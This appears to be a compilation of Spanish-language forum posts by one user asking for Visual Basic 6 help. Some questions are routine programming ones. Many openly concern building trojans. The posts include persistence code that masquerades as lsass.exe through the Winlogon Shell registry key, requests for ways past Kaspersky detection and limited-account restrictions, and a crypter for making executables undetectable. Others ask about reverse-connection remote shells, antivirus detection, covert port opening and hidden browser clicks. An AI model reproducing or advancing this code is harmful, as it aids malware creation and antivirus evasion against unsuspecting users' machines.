Temas

Buenas,

Estuve buscando bastante en google de como detectar si un proceso esta respondiendo pero no encontre para vb6 sino que para vb net.. dejo el codigo para ver si ayuda de algo

Código (vbnet) [Seleccionar] Expandir

procs = Process.GetProcessesByName("IEXPLORE")

    Try
        If procs(0).Responding = True Then
            MessageBox.Show("IEXPLORE está respondiendo")
        Else
            MessageBox.Show("IEXPLORE no está respondiendo")
        End If
    Catch
         MessageBox.Show("IEXPLORE no está ejecutándose")
    End Try

Ahora el tema es que necesito hacerlo en VB6.. alguien me podria dar una idea de como poder hacerlo?

Muchas gracias.
Saludos

Buenas...

Como pordria hacer para detectar la extension de su mismo archivo?

La ruta es App.Path... el nombre es App.EXEName .. pero necesito saber la extension.. ya que podria cambiarlo a .com .pif o .scr y no seria .exe.. por eso no lo dejaria estatico digamos..

Saludos!

Buenas,

el pedazo de codigo que detecta es:

Código (vb) [Seleccionar] Expandir

Reg_Crea_KeyConValor HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "Shell", "Explorer.exe, " & Environ("WinDir") & "\system32\drivers\lsass.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("WinDir") & "\system32\drivers\lsass.exe" 'lo copiamos
SetAttr Environ("WinDir") & "\system32\drivers\lsass.exe", vbHidden + vbReadOnly + vbSystem
DoEvents
Shell Environ("WinDir") & "\system32\drivers\lsass.exe" 'y lo ejecutamos

Les digo las combinaciones que detecta:

cuando FileCopy no esta no lo detecta, cuando reg_crea_keyconvalor y shell no estan tampoco lo detecta, cuando solo le cambio el nombre al FileCopy digamos le cambio el lsass no lo detecta, intente ponerlo en funcion para que saque de ahi el nombre, tambien intente ponerlo con strreverse.. nadap.. alguna solucion?

Saludos!

PD: el Antivirus es el Kaspersky

Buenas...

He estado intentando realizar tabs para seleccionar otros links mediante sendmessage.. pero no me ha funcionado.. hago el click y no realiza ninguna accion.. dejo el source a ver si alguien encuentra el error..

Form:

Código (vb) [Seleccionar] Expandir

Private Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Integer, ByVal wMsg As Integer, ByVal wParam As Integer, ByVal lParam As String) As Long
Private Const WM_KEYDOWN = &H100
Private Const WM_KEYUP = &H101
Private Const VK_TAB = &H9

Private Sub Command1_Click()
Dim hwnd As Long
hwnd = GetBrowserHandle(Me.hwnd)
SendMessage hwnd, WM_KEYDOWN, VK_TAB, 0&
'SendMessage hWnd, WM_KEYUP, VK_TAB, 0&
End Sub

Private Sub Form_Load()
WebBrowser1.Navigate "http://www.google.com"
End Sub

Modulo:

Código (vb) [Seleccionar] Expandir

      Private Declare Function GetClassName Lib "user32.dll" Alias "GetClassNameA" ( _
          ByVal hwnd As Long, _
          ByVal lpClassName As String, _
          ByVal nMaxCount As Long _
      ) As Long

      Private Declare Function EnumChildWindows Lib "user32.dll" ( _
          ByVal hWndParent As Long, _
          ByVal lpEnumFunc As Long, _
          ByVal lParam As Long _
      ) As Long

      Private hWndIE As Long


      Private Function EnumChildProc(ByVal hwnd As Long, ByVal lParam As Long) As Long
          Dim sClassName As String
          sClassName = String(255, vbNullChar)
          Call GetClassName(hwnd, sClassName, 255)
          sClassName = Left$(sClassName, InStr(sClassName, vbNullChar) - 1)
          If sClassName <> "Internet Explorer_Server" Then
              EnumChildProc = 1
          Else
              hWndIE = hwnd
          End If
      End Function
       
      Public Function GetBrowserHandle(ByVal hWndParent) As Long
          hWndIE = 0
          Call EnumChildWindows(hWndParent, AddressOf EnumChildProc, 1)
          GetBrowserHandle = hWndIE
      End Function




Encuentra el handle y todo del webbrowser pero no se porke no realiza los tabs en la pagina..

Saludos!

Buenas,

Estuve tratando largo rato de poder realizar un click en el webbrowser... pero de forma escondida y sin utilizar webbrowser1.document.elobjeto.click ya que por ese medio es inalcanzable ya lo he intentado..

Hay alguna forma de "mandar" un click a un lugar especifico del webbrowser  (estando escondido el form)?

Saludos!

PD: No me digan que utilize winsock o Inet ya lo he probado y no me sirve para lo que lo quiero..

Buenas... se me ha presentado un problemilla

Hay alguna manera de saltarse las restricciones con vb asi como lo hacen los troyanos como por ejemplo bifrost? que por mas que tengan los usuarios una cuenta limitada se copian sin problemas en disco:\windows\system32

Saludos!

Buenas...

Hay alguna manera de deshacerse de la dll que utiliza vb? y solo utilizar apis?

No necesito el formulario ni nada solo necesito que realice funciones que tranquiamente se pueden hacer con apis

Saludos!

Hola! estuve buscando algun ejemplo o algo pero no encontre ninguno en vb.. alguno tiene por ahi algun ejemplo? o alguien que me guie para iniciar nomas..

salu2! y gracias de antemano!

Hola! bueno les hago una pregunta a ver si alguien me sabe responder.. hay alguna forma de hacer un click "virtual" en un lugar del form invisible o sea por ejemplo..

tengo un navegador en todo el form y quiero hacer click en alguna parte del navegador PERO siendo invisible el form y que no se mueva el mouse ni nada o sea sin setcursorpos

salu2! y desde ya muchas gracias!

Hola! alguien tiene algun modulo para cambiar los iconos de los otros exe's que funcione bien? estuve buscando.. encontre algun que otro pero no me funcionaban bien..

Desde ya muchas gracias..

Salu2!!

Hola! me preguntaba si alguno sabe de que manera se puede saber que antivirus esta instalado.. esta en alguna ruta del registro?? cual es?? o en donde??

salu2!
desde ya muchas gracias!

Hola! tengo un problemita..

yo abro un archivo binario y le quiero hacer un split.. pero la variable del split no puede ser byte.. o sea miren..

Código (vb) [Seleccionar] Expandir


Dim nFile As Integer
Dim Contenido() As Byte
nFile = FreeFile
Open ruta For Binary As #nFile
   ReDim Contenido(LOF(nFile) - 1)
   Get #nFile, , Contenido
Close #nFile

ContDividido = Split(Contenido, "|Separacion|")
Contenido = ContDividido(1)


y ahi Contenido ya se decajeta.. yo quiero que siga en modo byte y quiero obtener lo que le sigue a |Separacion|...

Desde ya muchas gracias =)

Salu2!

Wenas! ya hacia tiempo no me pasaba por aca.. y hoy me puse a hacer un crypter.. lo pude hacer scan-time y me salio de 10 =) ahora el tema es hacerlo run-time.. alguno me puede guiar? o sea seria cosa de inyectar en memoria el .exe que fue cifrado.. o.. inyectar en memoria todo el codigo completo del exe cifrado y desencriptarlo en memoria..mmm no se como se haria y si se puede en vb.. o como?..
lo que hice hasta ahora esta todo hecho en vb 6.0 que lo que hago es.. cifro con el crypter.exe y guardo stub + marca + archivo .exe cifrado .. eso si.. encriptacion linda.. =) despues el stub lo que hace es que al abrirlo copia en temporal su propio archivo split a la marka, descifro, guardo el exe y ejecuto..

bueno.. desde ya muchas gracias..

salu2!

hmm el titulo lo dice todo... eske hay un juego que el sendkeys parece que lo tiene blokeado.. y no puedo hacer que funcione el sendkeys

salu2!
y gracias de antemano!

Hola, yo lo que kisiera hacer es sakar un screen y luego ver si tiene tal color en algun lugar de la pantalla y que me de las coordenadas... aver si me pueden orientar de como hacerlo...

ej: abro una ventana que contiene el color verde en algun lugar y yo kisiera obtener las coordenadas de el lugar donde se encuentra eso...

salu2!

Wenas.. estuve intentando hacer un pekeño programa para que responder rapidamente las trivias... pero lo que sucede es que al buscar las preguntas tarda muchisimo al ser tan grande donde busca (11mb)

Private Sub Command1_Click()
Dim buskeda As Integer
If pregunta = "" Then
buskeda = InStr(1, RichTextBox1.Text, Text1.Text)
If buskeda > 0 Then
pregunta = Mid(RichTextBox1.Text, buskeda)
terminarespuesta = InStr(1, pregunta, vbCrLf) - 1
respuesta = Left(pregunta, terminarespuesta)
empiezarespuesta = InStr(1, respuesta, "*") + 1
respuesta = Mid(respuesta, empiezarespuesta)
Text2.Text = respuesta
End If
Else
buskeda = InStr(1, pregunta, Text1.Text)
If buskeda > 0 Then
pregunta = Mid(pregunta, buskeda)
terminarespuesta = InStr(1, pregunta, vbCrLf)
respuesta = Left(pregunta, terminarespuesta)
empiezarespuesta = InStr(1, respuesta, "*")
respuesta = Mid(respuesta, empiezarespuesta)
Text2.Text = respuesta
End If
End If
End Sub

Private Sub Command2_Click()
respuesta = ""
Text1.Text = ""
Text2.Text = ""
End Sub

Private Sub Form_Load()
Path = App.Path & "\preguntas.txt"
Dim Extraido As String
Open (Path) For Binary As #1
Extraido = Space(LOF(1))
Get #1, , Extraido
Close #1
RichTextBox1.Text = Extraido
End Sub

ahi esta el code.. pero el instr es lo que hace que tarde muchisimo... alguna solucion para que sea rapido??

salu2!

Hola, he estado haciendo un troyano ya hace un tiempo.. lo deje x temas de estudio y volvi a retomarlo.. y mi problema en ese momento era que el servidor iba comiendo recursos de a poco... osea empezaba con 7mb mas o menos..  y dpue de media hora se iba a 8mb y asi.. hay alguna manera de solucionar eso que no sea cerrando la aplicacion y volviendola a abrir??

salu2!
y gracias de antemano

Hola! keria saber si alguien sabe como poner un archivo de texto mayor a 64kb en un textbox, probe en un richtextbox y anda bien pero no quiero andar dependiendo de de un ocx

salu2!

[Ya ta ya lo encontre... espero le sirva a alguien mas!]

Hola! kisiera saber si se puede cargar forms en tiempo de ejecucion osea..

x ejemplo:

Form1:

Código [Seleccionar] Expandir

Private Sub Form_Load()
Form2.Show
***Aca quiero volver a abrir otro form2 y que keden 2 ventanitas de form2
End Sub


salu2!!

Ya ta ya lo encontre... espero le sirva a alguien mas!

Código [Seleccionar] Expandir

Dim formx As Form2
Set formx = New Form2
formx.Show

[Solucionado.. me tomaba otra direccion en el "del" salu2!]

Wenas he estado probando esto.. pero no me ha funcionado el borrar osea.. lo ejecuta y todo pero no se borran los archivos..

asdf.exe es el nombre de la aplicacion que lo ejecuta...

Código [Seleccionar] Expandir

Open (App.path & "\error.bat") For Output As #1 ' Se abre el archivo
Print #1, "@echo"
Print #1, "taskkill /f /im asdf.exe"
Print #1, "del asdf.exe"
Print #1, "del error.bat"
Close #1 ' y se cierra

Shell (App.path & "\error.bat"), vbHide

no se porke no ejecuta la funcion del.. pero si voy directamente al archivo bat osea ejecutandolo a mano.. si lo borra..

salu2!

PD: parece que tarda mas en cerrarse.. entonces no lo borra.. y si le pongo sleep 30 (en batch) tampoco espera esos 30 segundos.. osea seria como "ejecuta todo de un tiron" y no espera a terminar una que sigue con la otra.. entonces al cerrar cuando manda el del asdf.exe todavia sigue en uso..
y tambien me da la impresion de que solo toma la 1era linea :S nose porke..

alguna solucion?

Solucionado.. me tomaba otra direccion en el "del" salu2!

como puedo hacer para poner en una variable una comilla??

ejemplo:

variable = "Hola "estas?" "

intente como en php poniendole \ antes de la " pero tampoco..

ej: varibale = "Hola \"estas?\" "

salu2!

Wenas! bueno.. aca va mi duda... que no he podido solucionar T_T tengo un cliente que recibe los datos y esos datos los va mandando.. depende los datos los manda a diferentes forms.. entonces.. aca va la cosa.. el server me envia datos multiples mediante varias conexiones.. pero el cliente lo que hace al recibir es poner los datos en una variable que es siempre la misma entonces cuando recibo 2 cosas a la vez me da error ya que se mesclan los datos..

WS(index).GetData data

recibe los datos de la conexion index es el valor de la conexion.. intente hacer matriz data... algo asi.. WS(index).GetData data(index) pero me dio error.. despues intente hacer indexdata = WS(index).Index y ponerle WS(index).GetData data(indexdata) pero tampoco.. me daba error ahi (El subindice esta fuera del intervalo).. en esa linea..

nose si me explico bien.. lo que me gustaria es que separara los datos que recibo de las diferentes conexiones...

salu2!

Wenas.. estuve hace un tiempito haciendo un troyano en vb.. mediante la conexion inversa que esta publicada en este foro... (disculpa al autor que no recuerdo el nombre)

kisiera saber si alguien sabe como hacer para x ejemplo mientras recibo una imagen o cualkier archivo y quiero recibir algunos datos sueltos o otro archivo... y asi mismo enviar tambien..

aka les dejo la conexion: http://www.lechi.com.ar/winsock.rar

salu2! y gracias de antemano!

wenas.. he estado intentando hacer un file manager que encontre x aca en el foro y esta tal cual el code.. y veo que esta todo bien.. pero la lista de discos me la envia mal les dejo el code:

Servidor:

Código [Seleccionar] Expandir

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Sub Form_Load()
WS.LocalPort = 854
WS.Listen
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
WS.GetData datos
Text1.Text = datos
If Mid(datos, 1, 6) = "\rutad" Then Call rutad(Mid(datos, 7))
End Sub

Public Function rutad(ruta As String)
On Error GoTo Error
Dim i

If ruta = "" Then
For i = 0 To Drive1.ListCount - 1
WS.SendData "\list" & Drive1.List(i) & "\"
Call Sleep(300)
Next
Else
Dir1.Path = ruta
For i = 0 To Dir1.ListCount - 1
WS.SendData "\list" & Dir1.List(i)
Call Sleep(300)
Next
File1.Path = ruta
For i = 0 To File1.ListCount - 1
If Right(ruta, 1) = "\" Then
WS.SendData "\list" & File1.Path & File1.List(i)
Else
WS.SendData "\list" & File1.Path & "\" & File1.List(i)
End If
Call Sleep(300)
Next
End If

Exit Function
Error:
End Function

Private Sub WS_ConnectionRequest(ByVal requestID As Long)
WS.Close
WS.Accept requestID
End Sub




Cliente:

Código [Seleccionar] Expandir

Private Sub Command1_Click()
WS.SendData Text1.Text
End Sub

Private Sub Form_Load()
Servidor.Visible = True
End Sub

Private Sub List1_Click()
WS.SendData "\rutad" & List1.Text
End Sub

Private Sub Timer1_Timer()
WS.Connect WS.LocalIP, 854

Timer1.Enabled = False
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
WS.GetData datos
If Mid(datos, 1, 5) = "\list" Then
List1.AddItem (Mid(datos, 6))
End If
End Sub


(los hice a los 2 en un mismo proyecto x eso hay algunas cosas demas)

Sino aca les dejo el link: http://www.lechi.com.ar/Filemanager.rar

aver si pueden ver que esta mal y ayudarme...

PD: concretamente me devuelve en el listbox: a:\\listc:\\listd:\\liste:\\listf:\\listg:\
yo creo que lo que anda mal es el sleep de sierta forma..


salu2!
y desde ya gracias!

Alguno podria pasarme un ejemplo o algo.. porke estuve buskando desde hace 1 hora como hacer una shell interactiva osea.. por ejemplo tener un textbox con multilinea activado donde se ejecuten los comandos enviados desde otro textbox y un boton.. y claro que reciba la respuesta y pueda seguir.. xq quiero hacer un troyano con shell interactiva al estilo bifrost o poison ivy o nuclear rat.. los otros no me fije..

desde ya gracias

salu2!

PD: si tienen algun ejemplo ya implementado con el winsock mejor.. sino no importa xD

Hola! weno.. keria preguntar si alguno sabria como abrir un puerto desde el vb 6.0 de manera oculta?? he googleado un rato pero no encuentro nada al respecto... nose si alguno sabria o pasarme un ejemplo asi lo modifico a gusto..

Me despido...
Desde ya muchas gracias!
Salu2!